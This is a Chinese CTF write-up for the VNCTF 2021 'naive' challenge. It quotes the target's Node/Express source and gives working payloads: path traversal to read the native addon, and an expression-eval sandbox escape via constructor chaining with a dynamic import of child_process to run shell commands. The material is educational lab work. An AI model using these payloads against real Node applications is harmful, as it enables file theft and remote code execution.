[VNCTF 2021]naive题解

[VNCTF 2021]naive

出的很好的题目,学到了很多知识,其中感谢Y4大佬甩了一堆学习链接给我!!!

考点:任意文件读取、逆向、ES6模式下动态加载模块

eval路由存在代码执行,但是需要先通过addon.verify()函数的验证

import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;

const addon = bindings("addon");

app.use("/eval", (req, res) => {
  const e = req.body.e;
  const code = req.body.code;
  if (!e || !code) {
    res.send("wrong?");
    return;
  }
  try {
    if (addon.verify(code)) {
      res.send(String(eval_(parse(e)))); //代码执行
    } else {
      res.send("wrong?");
    }
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

source路由存在任意文件读取,但是不可以直接读取flag文件

app.use("/source", (req, res) => {
  let p = req.query.path || file;
  p = path.resolve(path.dirname(file), p);
  if (p.includes("flag")) {
    res.send("no flag!");
  } else {
    res.sendFile(p);
  }
});

通过查找文档:http://nodejs.cn/api/addons.html ,可以找到addon.node模块存在的位置

然后通过source路由读取,Payload:?path=../build/Release/addon.node读取到addon程序,然后交给了逆向大佬去逆向(为大佬打call!!!),获得验证码yoshino-s_want_a_gf,qq1735439536

接着想办法去执行命令,查看文档:https://github.com/q269384828/expression-eval ,发现存在可以代码执行的方式

于是开始尝试代码执行,这里解释一下用了两个constructor,第一个返回到String,第二个返回到Function才可以导入模块

Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return require('child_process').execSync('ls');")()

但是直接报错wrong?,根据源码查看应该是执行异常跳出的。这是上了一个新的Hint:仔细阅读package.json哦,返回去查看package.json中的内容

{
    "name": "name",
    "version": "0.1.1",
    "description": "Description",
    "private": true,
    "main": "src/index.js",
    "type": "module",
    "scripts": {
        "start": "node src/index.js",
        "build:native": "node-gyp rebuild",
        "build:native:dev": "node-gyp rebuild --debug"
    },
    "dependencies": {
        "bindings": "^1.5.0",
        "express": "^4.17.1",
        "expression-eval": "^4.0.0",
        "node-addon-api": "^3.0.2",
        "seval": "^2.0.1"
    },
    "devDependencies": {
        "@types/express": "^4.17.8",
        "@types/node": "^14.10.1",
        "node-gyp": "^7.1.2",
        "prettier": "^2.0.5"
    }
}

重点是这个"type": "module"参数,通过查看文档:http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html ,知道了这里采用的是ES6模块,不可以使用require导入,这就是前面代码执行异常的原因

既然知道了ES6模块是使用import导入就可以继续写了,同时在文档:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules ,找到了import导入后的执行方法

Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./1.js')});")()

因为没有回显所以还需要使用source路由读取1.js的内容,url/source?path=../1.js

还有另外一种方式

app.use(express.static("static"));

源码中存在这句,意思是将static文件夹设置静态文件目录,可以在url后面直接加上文件名进行访问

Payload:code=yoshino-s_want_a_gf,qq1735439536&e=("atao")['constructor']['constructor']("return import('child_process').then((module) => {module.exec('cat /flag > ./static/1.js')});")()

访问url/1.js

posted @ 2021-03-15 13:20  erR0Ratao  阅读(423)  评论(0编辑  收藏  举报